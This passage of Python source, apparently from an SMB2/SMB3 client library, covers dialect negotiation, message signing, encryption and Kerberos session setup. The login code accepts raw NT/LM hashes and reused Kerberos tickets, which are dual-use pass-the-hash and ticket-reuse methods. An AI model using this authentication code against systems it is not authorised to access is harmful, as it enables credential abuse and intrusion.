3.51\",\n    1381:\"Windows NT 4.0\",\n    1998:\"Windows 98\",\n    2195:\"Windows 2000\",\n    2222:\"Windows 98 Second Edition\",\n    2600:\"Windows XP\",\n    2700:\"Windows XP\",\n    2710:\"Windows XP\",\n    3000:\"Windows Me\",\n    3790:\"Windows XP / Server 2003 / Server 2003 R2\",\n    6002:\"Windows Vista\",\n    6003:\"Windows Server 2008\",\n    7601:\"Windows 7 / Server 2008 R2\",\n    8400:\"Windows Home Server 2011\",\n    9200:\"Windows 8 / Server 2012\",\n    9600:\"Windows 8.1 / Server 2012 R2\",\n    10240:\"Windows 10\",\n    10586:\"Windows 10\",\n    14393:\"Windows 10 / Server 2016\",\n    15063:\"Windows 10\",\n    16299:\"Windows 10 / Server 2016\",\n    17134:\"Windows 10 / Server 2016\",\n    17763:\"Windows 10 / Server 2019\",\n    18362:\"Windows 10 / Server 2019\",\n    18363:\"Windows 10 / Server 2019\",\n    19041:\"Windows 10 / Server 2019\",\n    19042:\"Windows 10 / Server 2019\",\n    19043:\"Windows 10\",\n    19044:\"Windows 10\",\n    19045:\"Windows 10\",\n    20348:\"Windows Server 2022\",\n    22000:\"Windows 11\",\n    22621:\"Windows 11\",\n    22631:\"Windows 11\",\n    25398:\"Windows Server 2022\",\n    26100:\"Windows 11 / Server 2025\",\n}\n\n\nclass SessionError(Exception):\n    def __init__( self, error = 0, packet=0):\n        Exception.__init__(self)\n        self.error = error\n        self.packet = packet\n\n    def get_error_code( self ):\n        return self.error\n\n    def get_error_packet( self ):\n        return self.packet\n\n    def __str__( self ):\n        return 'SMB SessionError: %s(%s)' % (ERROR_MESSAGES[self.error])\n\n\nclass SMB3:\n    class HostnameValidationException(Exception):\n        pass\n\n    def __init__(self, remote_name, remote_host, my_name=None, host_type=nmb.TYPE_SERVER, sess_port=445, timeout=60,\n                 UDP=0, preferredDialect=None, session=None, negSessionResponse=None):\n\n        # [MS-SMB2] Section 3\n        self.RequireMessageSigning = False    #\n        self.ConnectionTable = {}\n        self.GlobalFileTable = {}\n        self.ClientGuid = ''.join([random.choice(string.ascii_letters) for i in range(16)])\n        # Only for SMB 3.0\n        self.EncryptionAlgorithmList = ['AES-CCM']\n        self.MaxDialect = []\n        self.RequireSecureNegotiate = False\n\n        # Per Transport Connection Data\n        self._Connection = {\n            # Indexed by SessionID\n            #'SessionTable'             : {},\n            # Indexed by MessageID\n            'OutstandingRequests'      : {},\n            'OutstandingResponses'     : {},    #\n            'SequenceWindow'           : 0,     #\n            'GSSNegotiateToken'        : '',    #\n            'MaxTransactSize'          : 0,     #\n            'MaxReadSize'              : 0,     #\n            'MaxWriteSize'             : 0,     #\n            'ServerGuid'               : '',    #\n            'RequireSigning'           : False, #\n            'ServerName'               : '',    #\n            # If the client implements the SMB 2.1 or SMB 3.0 dialects, it MUST\n            # also implement the following\n            'Dialect'                  : 0,    #\n            'SupportsFileLeasing'      : False, #\n            'SupportsMultiCredit'      : False, #\n            # If the client implements the SMB 3.0 dialect,\n            # it MUST also implement the following\n            'SupportsDirectoryLeasing' : False, #\n            'SupportsMultiChannel'     : False, #\n            'SupportsPersistentHandles': False, #\n            'SupportsEncryption'       : False, #\n            'ClientCapabilities'       : 0,\n            'ServerCapabilities'       : 0,    #\n            'ClientSecurityMode'       : 0,    #\n            'ServerSecurityMode'       : 0,    #\n            # Outside the protocol\n            'ServerIP'                 : '',    #\n            'ClientName'               : '',    #\n            #GSSoptions (MutualAuth and Delegate)\n            'GSSoptions'               : {},\n            # If the client implements the SMB 3.1.1 dialect,\n            # it MUST also implement the following\n            'PreauthIntegrityHashId': 0,\n            'PreauthIntegrityHashValue': a2b_hex(b'0'*128),\n            'CipherId' : 0\n        }\n\n        self._Session = {\n            'SessionID'                : 0,   #\n            'TreeConnectTable'         : {},    #\n            'SessionKey'               : b'',    #\n            'SigningRequired'          : False, #\n            'Connection'               : 0,     #\n            'UserCredentials'          : '',    #\n            'OpenTable'                : {},    #\n            # If the client implements the SMB 3.0 dialect,\n            # it MUST also implement the following\n            'ChannelList'              : [],\n            'ChannelSequence'          : 0,\n            #'EncryptData'              : False,\n            'EncryptData'              : True,\n            'EncryptionKey'            : '',\n            'DecryptionKey'            : '',\n            'SigningKey'               : '',\n            'ApplicationKey'           : b'',\n            # Outside the protocol\n            'SessionFlags'             : 0,     #\n            'ServerName'               : '',    #\n            'ServerDomain'             : '',    #\n            'ServerDNSDomainName'      : '',    #\n            'ServerDNSHostName'        : '',    #\n            'ServerOS'                 : '',    #\n            'SigningActivated'         : False, #\n            'PreauthIntegrityHashValue': a2b_hex(b'0'*128),\n            'CalculatePreAuthHash'     : True,\n        }\n\n        self.SMB_PACKET = SMB2Packet\n\n        self._timeout = timeout\n        self._Connection['ServerIP'] = remote_host\n        self._NetBIOSSession = None\n        self._preferredDialect = preferredDialect\n        self._doKerberos = False\n\n        # Strict host validation - off by default\n        self._strict_hostname_validation = False\n        self._validation_allow_absent = True\n        self._accepted_hostname = ''\n\n        self.__userName = ''\n        self.__password = ''\n        self.__domain   = ''\n        self.__lmhash   = ''\n        self.__nthash   = ''\n        self.__kdc      = ''\n        self.__aesKey   = ''\n        self.__TGT      = None\n        self.__TGS      = None\n\n        if sess_port == 445 and remote_name == '*SMBSERVER':\n           self._Connection['ServerName'] = remote_host\n        else:\n           self._Connection['ServerName'] = remote_name\n\n        # This is on purpose. I'm still not convinced to do a socket.gethostname() if not specified\n        if my_name is None:\n            self._Connection['ClientName'] = ''\n        else:\n            self._Connection['ClientName'] = my_name\n\n        if session is None:\n            if not my_name:\n                # If destination port is 139 yes, there's some client disclosure\n                my_name = socket.gethostname()\n                i = my_name.find('.')\n                if i > -1:\n                    my_name = my_name[:i]\n\n            if UDP:\n                self._NetBIOSSession = nmb.NetBIOSUDPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)\n            else:\n                self._NetBIOSSession = nmb.NetBIOSTCPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)\n\n                self.negotiateSession(preferredDialect)\n        else:\n            self._NetBIOSSession = session\n            # We should increase the SequenceWindow since a packet was already received.\n            self._Connection['SequenceWindow'] += 1\n            # Let's negotiate again if needed (or parse the existing response) using the same connection\n            self.negotiateSession(preferredDialect, negSessionResponse)\n\n    def printStatus(self):\n        print(\"CONNECTION\")\n        for i in list(self._Connection.items()):\n            print(\"%-40s : %s\" % i)\n        print()\n        print(\"SESSION\")\n        for i in list(self._Session.items()):\n            print(\"%-40s : %s\" % i)\n\n    def __UpdateConnectionPreAuthHash(self, data):\n        from Cryptodome.Hash import SHA512\n        calculatedHash =  SHA512.new()\n        calculatedHash.update(self._Connection['PreauthIntegrityHashValue'])\n        calculatedHash.update(data)\n        self._Connection['PreauthIntegrityHashValue'] = calculatedHash.digest()\n\n    def __UpdatePreAuthHash(self, data):\n        from Cryptodome.Hash import SHA512\n        calculatedHash =  SHA512.new()\n        calculatedHash.update(self._Session['PreauthIntegrityHashValue'])\n        calculatedHash.update(data)\n        self._Session['PreauthIntegrityHashValue'] = calculatedHash.digest()\n\n    def getKerberos(self):\n        return self._doKerberos\n\n    def getServerName(self):\n        return self._Session['ServerName']\n\n    def getClientName(self):\n        return self._Session['ClientName']\n\n    def getRemoteName(self):\n        if self._Session['ServerName'] == '':\n            return self._Connection['ServerName']\n        return self._Session['ServerName']\n\n    def setRemoteName(self, name):\n        self._Session['ServerName'] = name\n        return True\n\n    def getServerIP(self):\n        return self._Connection['ServerIP']\n\n    def getServerDomain(self):\n        return self._Session['ServerDomain']\n\n    def getServerDNSDomainName(self):\n        return self._Session['ServerDNSDomainName']\n\n    def getServerDNSHostName(self):\n        return self._Session['ServerDNSHostName']\n\n    def getServerOS(self):\n        return self._Session['ServerOS']\n\n    def getServerOSMajor(self):\n        return self._Session['ServerOSMajor']\n\n    def getServerOSMinor(self):\n        return self._Session['ServerOSMinor']\n\n    def getServerOSBuild(self):\n        return self._Session['ServerOSBuild']\n\n    def isGuestSession(self):\n        return self._Session['SessionFlags'] & SMB2_SESSION_FLAG_IS_GUEST\n\n    def setTimeout(self, timeout):\n        self._timeout = timeout\n\n    @contextmanager\n    def useTimeout(self, timeout):\n        prev_timeout = self.getTimeout(timeout)\n        try:\n            yield\n        finally:\n            self.setTimeout(prev_timeout)\n\n    def getDialect(self):\n        return self._Connection['Dialect']\n\n    def processContextList(self, contextCount, contextList):\n        offset = 0\n        while contextCount > 0:\n            context = SMB2NegotiateContext(contextList[offset:])\n            if context['ContextType'] == SMB2_PREAUTH_INTEGRITY_CAPABILITIES:\n                contextPreAuth = SMB2PreAuthIntegrityCapabilities(context['Data'])\n                self._Connection['PreauthIntegrityHashId'] = struct.unpack('<H', contextPreAuth['HashAlgorithms'])[0]\n            elif context['ContextType'] == SMB2_ENCRYPTION_CAPABILITIES:\n                contextEncryption = SMB2EncryptionCapabilities(context['Data'])\n                cipherId = struct.unpack('<H', contextEncryption['Ciphers'])[0]\n                self._Connection['CipherId'] = cipherId\n                if cipherId != 0:\n                    self._Connection['SupportsEncryption'] = True\n            elif context['ContextType'] == SMB2_COMPRESSION_CAPABILITIES:\n                pass\n            elif context['ContextType'] == SMB2_NETNAME_NEGOTIATE_CONTEXT_ID:\n                pass\n\n            padding = ((8 - (context['DataLength'] % 8)) % 8)\n            offset = 8 + context['DataLength'] + padding\n            contextCount -= 1\n\n    def signSMB(self, packet):\n        packet['Signature'] = '\\x00'*16\n        if self._Connection['Dialect'] == SMB2_DIALECT_21 or self._Connection['Dialect'] == SMB2_DIALECT_002:\n            if len(self._Session['SessionKey']) > 0:\n                signature = hmac.new(self._Session['SessionKey'], packet.getData(), hashlib.sha256).digest()\n                packet['Signature'] = signature[:16]\n        else:\n            if len(self._Session['SessionKey']) > 0:\n                p = packet.getData()\n                signature = crypto.AES_CMAC(self._Session['SigningKey'], p, len(p))\n                packet['Signature'] = signature\n\n    def sendSMB(self, packet):\n        # The idea here is to receive multiple/single commands and create a compound request, and send it\n        # Should return the MessageID for later retrieval. Implement compounded related requests.\n\n        # If Connection.Dialect is equal to \"3.000\" and if Connection.SupportsMultiChannel or\n        # Connection.SupportsPersistentHandles is TRUE, the client MUST set ChannelSequence in the\n        # SMB2 header to Session.ChannelSequence\n\n        # Check this is not a CANCEL request. If so, don't consume sequence numbers\n        if packet['Command'] is not SMB2_CANCEL:\n            packet['MessageID'] = self._Connection['SequenceWindow']\n            self._Connection['SequenceWindow'] += 1\n        packet['SessionID'] = self._Session['SessionID']\n\n        # Default the credit charge to 1 unless set by the caller\n        if ('CreditCharge' in packet.fields) is False:\n            packet['CreditCharge'] = 1\n\n        # Standard credit request after negotiating protocol\n        if self._Connection['SequenceWindow'] > 3:\n            packet['CreditRequestResponse'] = 127\n\n        messageId = packet['MessageID']\n\n        if self._Session['SigningActivated'] is True and self._Connection['SequenceWindow'] > 2:\n            if packet['TreeID'] > 0 and (packet['TreeID'] in self._Session['TreeConnectTable']) is True:\n                if self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is False:\n                    packet['Flags'] = SMB2_FLAGS_SIGNED\n                    self.signSMB(packet)\n            elif packet['TreeID'] == 0:\n                packet['Flags'] = SMB2_FLAGS_SIGNED\n                self.signSMB(packet)\n\n        if packet['Command'] is SMB2_NEGOTIATE:\n            data = packet.getData()\n            self.__UpdateConnectionPreAuthHash(data)\n            self._Session['CalculatePreAuthHash'] = False\n\n        if packet['Command'] is SMB2_SESSION_SETUP:\n            self._Session['CalculatePreAuthHash'] = True\n\n        if (self._Session['SessionFlags'] & SMB2_SESSION_FLAG_ENCRYPT_DATA) or ( packet['TreeID'] != 0 and self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is True):\n            plainText = packet.getData()\n            transformHeader = SMB2_TRANSFORM_HEADER()\n            transformHeader['Nonce'] = ''.join([rand.choice(string.ascii_letters) for _ in range(11)])\n            transformHeader['OriginalMessageSize'] = len(plainText)\n            transformHeader['EncryptionAlgorithm'] = SMB2_ENCRYPTION_AES128_CCM\n            transformHeader['SessionID'] = self._Session['SessionID']\n            cipher = AES.new(self._Session['EncryptionKey'], AES.MODE_CCM,  b(transformHeader['Nonce']))\n            cipher.update(transformHeader.getData()[20:])\n            cipherText = cipher.encrypt(plainText)\n            transformHeader['Signature'] = cipher.digest()\n            packet = transformHeader.getData() + cipherText\n\n            self._NetBIOSSession.send_packet(packet)\n        else:\n            data = packet.getData()\n            if self._Session['CalculatePreAuthHash'] is True:\n                self.__UpdatePreAuthHash(data)\n\n            self._NetBIOSSession.send_packet(data)\n\n        return messageId\n\n    def recvSMB(self, packetID = None):\n        # First, verify we don't have the packet already\n        if packetID in self._Connection['OutstandingResponses']:\n            return self._Connection['OutstandingResponses'].pop(packetID)\n\n        data = self._NetBIOSSession.recv_packet(self._timeout)\n\n        if data.get_trailer().startswith(b'\\xfdSMB'):\n            # Packet is encrypted\n            transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())\n            cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM,  transformHeader['Nonce'][:11])\n            cipher.update(transformHeader.getData()[20:])\n            plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])\n            #cipher.verify(transformHeader['Signature'])\n            packet = SMB2Packet(plainText)\n        else:\n            # In all SMB dialects for a response this field is interpreted as the Status field.\n            # This field can be set to any value. For a list of valid status codes,\n            # see [MS-ERREF] section 2.3.\n            packet = SMB2Packet(data.get_trailer())\n\n        # Loop while we receive pending requests\n        if packet['Status'] == STATUS_PENDING:\n            status = STATUS_PENDING\n            while status == STATUS_PENDING:\n                data = self._NetBIOSSession.recv_packet(self._timeout)\n                if data.get_trailer().startswith(b'\\xfeSMB'):\n                    packet = SMB2Packet(data.get_trailer())\n                else:\n                    # Packet is encrypted\n                    transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())\n                    cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM,  transformHeader['Nonce'][:11])\n                    cipher.update(transformHeader.getData()[20:])\n                    plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])\n                    #cipher.verify(transformHeader['Signature'])\n                    packet = SMB2Packet(plainText)\n                status = packet['Status']\n\n        if packet['MessageID'] == packetID or packetID is None:\n            # Let's update the sequenceWindow based on the CreditsCharged\n            # In the SMB 2.0.2 dialect, this field MUST NOT be used and MUST be reserved.\n            # The sender MUST set this to 0, and the receiver MUST ignore it.\n            # In all other dialects, this field indicates the number of credits that this request consumes.\n            if self._Connection['Dialect'] > SMB2_DIALECT_002:\n                self._Connection['SequenceWindow'] += (packet['CreditCharge'] - 1)\n            return packet\n        else:\n            self._Connection['OutstandingResponses'][packet['MessageID']] = packet\n            return self.recvSMB(packetID)\n\n    def negotiateSession(self, preferredDialect = None, negSessionResponse = None):\n        # Let's store some data for later use\n        self._Connection['ClientSecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\n        if self.RequireMessageSigning is True:\n            self._Connection['ClientSecurityMode'] |= SMB2_NEGOTIATE_SIGNING_REQUIRED\n        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION\n        currentDialect = SMB2_DIALECT_WILDCARD\n\n        # Do we have a negSessionPacket already?\n        if negSessionResponse is not None:\n            # Yes, let's store the dialect answered back\n            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])\n            currentDialect = negResp['DialectRevision']\n\n        if currentDialect == SMB2_DIALECT_WILDCARD:\n            # Still don't know the chosen dialect, let's send our options\n\n            packet = self.SMB_PACKET()\n            packet['Command'] = SMB2_NEGOTIATE\n            negSession = SMB2Negotiate()\n\n            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']\n            negSession['Capabilities'] = self._Connection['Capabilities']\n            negSession['ClientGuid'] = self.ClientGuid\n            if preferredDialect is not None:\n                negSession['Dialects'] = [preferredDialect]\n                if preferredDialect == SMB2_DIALECT_311:\n                    # Build the Contexts\n                    contextData = SMB311ContextData()\n                    contextData['NegotiateContextOffset'] = 64+38+2\n                    contextData['NegotiateContextCount'] = 0\n                    # Add an SMB2_NEGOTIATE_CONTEXT with ContextType as SMB2_PREAUTH_INTEGRITY_CAPABILITIES\n                    # to the negotiate request as specified in section 2.2.3.1:\n                    negotiateContext = SMB2NegotiateContext()\n                    negotiateContext['ContextType'] = SMB2_PREAUTH_INTEGRITY_CAPABILITIES\n\n                    preAuthIntegrityCapabilities = SMB2PreAuthIntegrityCapabilities()\n                    preAuthIntegrityCapabilities['HashAlgorithmCount'] = 1\n                    preAuthIntegrityCapabilities['SaltLength'] = 32\n                    preAuthIntegrityCapabilities['HashAlgorithms'] = b'\\x01\\x00'\n                    preAuthIntegrityCapabilities['Salt'] = ''.join([rand.choice(string.ascii_letters) for _ in\n                                                                     range(preAuthIntegrityCapabilities['SaltLength'])])\n\n                    negotiateContext['Data'] = preAuthIntegrityCapabilities.getData()\n                    negotiateContext['DataLength'] = len(negotiateContext['Data'])\n                    contextData['NegotiateContextCount'] += 1\n                    pad = b'\\xFF' * ((8 - (negotiateContext['DataLength'] % 8)) % 8)\n\n                    # Add an SMB2_NEGOTIATE_CONTEXT with ContextType as SMB2_ENCRYPTION_CAPABILITIES\n                    # to the negotiate request as specified in section 2.2.3.1 and initialize\n                    # the Ciphers field with the ciphers supported by the client in the order of preference.\n\n                    negotiateContext2 = SMB2NegotiateContext()\n                    negotiateContext2['ContextType'] = SMB2_ENCRYPTION_CAPABILITIES\n\n                    encryptionCapabilities = SMB2EncryptionCapabilities()\n                    encryptionCapabilities['CipherCount'] = 1\n                    encryptionCapabilities['Ciphers'] = b'\\x01\\x00'\n\n                    negotiateContext2['Data'] = encryptionCapabilities.getData()\n                    negotiateContext2['DataLength'] = len(negotiateContext2['Data'])\n                    contextData['NegotiateContextCount'] += 1\n\n                    negSession['ClientStartTime'] = contextData.getData()\n                    negSession['Padding'] = b'\\xFF\\xFF'\n                    # Subsequent negotiate contexts MUST appear at the first 8-byte aligned offset following the\n                    # previous negotiate context.\n                    negSession['NegotiateContextList'] = negotiateContext.getData() + pad + negotiateContext2.getData()\n\n                    # Do you want to enforce encryption? Uncomment here:\n                    #self._Connection['SupportsEncryption'] = True\n\n            else:\n                negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]\n            negSession['DialectCount'] = len(negSession['Dialects'])\n            packet['Data'] = negSession\n\n            packetID = self.sendSMB(packet)\n            ans = self.recvSMB(packetID)\n            if ans.isValidAnswer(STATUS_SUCCESS):\n                negResp = SMB2Negotiate_Response(ans['Data'])\n                if negResp['DialectRevision']  == SMB2_DIALECT_311:\n                    self.__UpdateConnectionPreAuthHash(ans.rawData)\n\n        self._Connection['MaxTransactSize']   = min(0x100000,negResp['MaxTransactSize'])\n        self._Connection['MaxReadSize']       = min(0x100000,negResp['MaxReadSize'])\n        self._Connection['MaxWriteSize']      = min(0x100000,negResp['MaxWriteSize'])\n        self._Connection['ServerGuid']        = negResp['ServerGuid']\n        self._Connection['GSSNegotiateToken'] = negResp['Buffer']\n        self._Connection['Dialect']           = negResp['DialectRevision']\n\n        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED or \\\n                self._Connection['Dialect'] == SMB2_DIALECT_311:\n            self._Connection['RequireSigning'] = True\n        if self._Connection['Dialect'] == SMB2_DIALECT_311:\n            # Always Sign\n            self._Connection['RequireSigning'] = True\n            negContextCount = negResp['NegotiateContextCount']\n            # Process the Contexts as specified in section 3.2.5.2\n            if negContextCount > 0:\n                self.processContextList(negContextCount, negResp['NegotiateContextList'])\n\n        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:\n            self._Connection['SupportsFileLeasing'] = True\n        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:\n            self._Connection['SupportsMultiCredit'] = True\n\n        if self._Connection['Dialect'] >= SMB2_DIALECT_30:\n            # Switching to the right packet format\n            self.SMB_PACKET = SMB3Packet\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:\n                self._Connection['SupportsDirectoryLeasing'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:\n                self._Connection['SupportsMultiChannel'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:\n                self._Connection['SupportsPersistentHandles'] = True\n            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:\n                self._Connection['SupportsEncryption'] = True\n\n            self._Connection['ServerCapabilities'] = negResp['Capabilities']\n            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']\n\n    def getCredentials(self):\n        return (\n            self.__userName,\n            self.__password,\n            self.__domain,\n            self.__lmhash,\n            self.__nthash,\n            self.__aesKey,\n            self.__TGT,\n            self.__TGS)\n\n    def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', aesKey='', kdcHost = '', TGT=None, TGS=None, mutualAuth=False):\n        # If TGT or TGS are specified, they are in the form of:\n        # TGS['KDC_REP'] = the response from the server\n        # TGS['cipher'] = the cipher used\n        # TGS['sessionKey'] = the sessionKey\n        # If we have hashes, normalize them\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:     lmhash = '0%s' % lmhash\n            if len(nthash) % 2:     nthash = '0%s' % nthash\n            try: # just in case they were converted already\n                lmhash = a2b_hex(lmhash)\n                nthash = a2b_hex(nthash)\n            except:\n                pass\n\n        self.__userName = user\n        self.__password = password\n        self.__domain   = domain\n        self.__lmhash   = lmhash\n        self.__nthash   = nthash\n        self.__kdc      = kdcHost\n        self.__aesKey   = aesKey\n        self.__TGT      = TGT\n        self.__TGS      = TGS\n        self._doKerberos= True\n\n        sessionSetup = SMB2SessionSetup()\n        if self.RequireMessageSigning is True:\n           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED\n        else:\n           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\n\n        sessionSetup['Flags'] = 0\n        #sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS\n\n        # Importing down here so pyasn1 is not required if kerberos is not used.\n        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set\n        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n        from impacket.krb5 import constants\n        from impacket.krb5.types import Principal, KerberosTime, Ticket\n        from pyasn1.codec.der import decoder, encoder\n        import datetime\n\n        # First of all, we need to get a TGT for the user\n        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        if TGT is None:\n            if TGS is None:\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)\n        else:\n            tgt = TGT['KDC_REP']\n            cipher = TGT['cipher']\n            sessionKey = TGT['sessionKey']\n\n        # Save the ticket\n        # If you want, for debugging purposes\n#        from impacket.krb5.ccache import CCache\n#        ccache = CCache()\n#        try:\n#            if TGS is None:\n#                ccache.fromTGT(tgt, oldSessionKey, sessionKey)\n#            else:\n#                ccache.fromTGS(TGS['KDC_REP'], TGS['oldSessionKey'], TGS['sessionKey'] )\n#            ccache.saveFile('/tmp/ticket.bin')\n#        except Exception, e:\n#            print e\n#            pass\n\n        # Now that we have the TGT, we should ask for a TGS for cifs\n\n        if TGS is None:\n            serverName = Principal('cifs/%s' % (self._Connection['ServerName']), type=constants.PrincipalNameType.NT_SRV_INST.value)\n            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)\n        else:\n            tgs = TGS['KDC_REP']\n            cipher = TGS['cipher']\n            sessionKey = TGS['sessionKey']\n\n        # Let's build a NegTokenInit with a Kerberos REQ_AP\n\n        blob = SPNEGO_NegTokenInit()\n\n        # Kerberos\n        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]\n\n        # Let's extract the ticket from the TGS\n        tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]\n        ticket = Ticket()\n        ticket.from_asn1(tgs['ticket'])\n\n        # Now let's build the AP_REQ\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        #Handle mutual authentication\n        opts = list()\n\n        if mutualAuth == True:\n            from impacket.krb5.constants import APOptions\n            opts.append(constants.APOptions.mutual_required.value)\n\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq,'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = domain\n        seq_set(authenticator, 'cname', userName.components_to_asn1)\n        now = datetime.datetime.now(datetime.timezone.utc)\n\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 11\n        # AP-REQ Authenticator (includes application authenticator\n        # subkey), encrypted with the application session key\n        # (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(\n            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))\n\n        sessionSetup['SecurityBufferLength'] = len(blob)\n        sessionSetup['Buffer']               = blob.getData()\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_SESSION_SETUP\n        packet['Data']    = sessionSetup\n\n        #Initiate session preauth hash\n        self._Session['PreauthIntegrityHashValue'] = self._Connection['PreauthIntegrityHashValue']\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            self._Session['SessionID']       = ans['SessionID']\n            self._Session['SigningRequired'] = self._Connection['RequireSigning']\n            self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)\n            self._Session['Connection']      = self._NetBIOSSession.get_socket()\n\n\n            if mutualAuth == True:\n                #Lets get the session key in the AP_REP\n                from impacket.krb5.asn1 import AP_REP, EncAPRepPart\n                from impacket.krb5.crypto import Key, _enctype_table\n                smbSessSetupResp = SMB2SessionSetup_Response(ans['Data'])\n\n                #in [KILE] 3.1.1.2:\n                #    The subkey in the EncAPRepPart of the KRB_AP_REP message is used as the session key when\n                #    MutualAuthentication is requested. (The KRB_AP_REP message and its fields are defined in [RFC4120]\n                #    section 5.5.2.) When DES and RC4 are used, the implementation is as described in [RFC1964]. With\n                #    DES and RC4, the subkey in the KRB_AP_REQ message can be used as the session key, as it is the\n                #    same as the subkey in KRB_AP_REP message; however when AES is used (see [RFC4121]), the\n                #    subkeys are different and the subkey in the KRB_AP_REP is used. (The KRB_AP_REQ message is\n                #    defined in [RFC4120] section 5.5.1).\n                negTokenResp = SPNEGO_NegTokenResp(smbSessSetupResp['Buffer'])\n\n                #TODO: Parse ResponseToken as krb5Blob depending on the supported mech indicated in the negTokenResp\n                ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]\n\n                if cipher.enctype != ap_rep['enc-part']['etype']:\n                    raise Exception('Unable to decrypt AP_REP: cipher does not match TGS session key')\n\n                # Key Usage 12\n                # AP-REP encrypted part (includes application session\n                # subkey), encrypted with the application session key\n                # (Section 5.5.2)\n                cipherText = ap_rep['enc-part']['cipher']\n                plainText = cipher.decrypt(sessionKey, 12, cipherText)\n\n                encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]\n\n                apCipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()\n                apSessionKey = Key(apCipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets())\n\n                sequenceNumber = int(encAPRepPart['seq-number'])\n                self._Session['SessionKey'] = apSessionKey.contents\n\n            else:\n                self._Session['SessionKey']  = sessionKey.contents[:16]\n\n            if self._Session['SigningRequired'] is True and self._Connection['Dialect'] >= SMB2_DIALECT_30:\n                # If Connection.Dialect is \"3.1.1\", the case-sensitive ASCII string \"SMBSigningKey\" as the label;\n                # otherwise, the case - sensitive ASCII string \"SMB2AESCMAC\" as the label.\n                # If Connection.Dialect is \"3.1.1\", Session.PreauthIntegrityHashValue as the context; otherwise,\n                # the case-sensitive ASCII string \"SmbSign\" as context for the algorithm.\n                if self._Connection['Dialect'] == SMB2_DIALECT_311:\n                    self._Session['SigningKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMBSigningKey\\x00\",\n                                                                          self._Session['PreauthIntegrityHashValue'], 128)\n                else:\n                    self._Session['SigningKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMB2AESCMAC\\x00\",\n                                                                          b\"SmbSign\\x00\", 128)\n\n            # Do not encrypt anonymous connections\n            if user == '' or self.isGuestSession():\n                self._Connection['SupportsEncryption'] = False\n\n            if self._Session['SigningRequired'] is True:\n                self._Session['SigningActivated'] = True\n            if self._Connection['Dialect'] >= 